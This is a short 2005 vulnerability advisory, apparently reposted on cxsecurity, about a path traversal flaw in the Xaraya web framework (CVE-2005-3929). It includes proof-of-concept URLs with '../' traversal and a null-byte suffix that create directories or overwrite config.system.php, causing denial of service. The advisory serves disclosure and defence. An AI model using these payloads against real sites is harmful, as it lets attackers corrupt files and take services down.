Bug: Xaraya <= 1.0.0 RC4 D.O.S / file corruption (WLB-2005120001 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: Xaraya <= 1.0.0 RC4 D.O.S / file corruption
 Credit: retrogod aliceposta it
 Date: 2005.12.01
 CWE: N/A
 CVE: CVE-2005-3929 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
Medium
No
Yes

Xaraya <= 1.0.0 RC4 D.O.S / file corruption

software:
site: http://www.xaraya.com
description: "Xaraya 1.0 Core is an Open Source web application framework
written in PHP"

vulnerable code in create() function in xarMLSXML2PHPBackend.php:

i) you can create an empty dir, in some cases this leads to D.O.S. condition,poc:

http://[target]/[path_to_xaraya]/index.php?module=../../../../.key.php
http://[target]/[path_to_xaraya]/index.php?module=../../../../../.htacce
ss

ii) you can overwite any file on target system, using null char

example, D.O.S, overwriting a system file:

http://[target]/[path_to_xaraya]/index.php?module=../../../../config.sys
tem.php%00

this could lead to remode code execution condition even, if a user overwrite
some file where an inclusion path is defined

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/xaraya1DOS.hmtl

[ ASCII VERSION ]

Copyright 2012, cxsecurity.com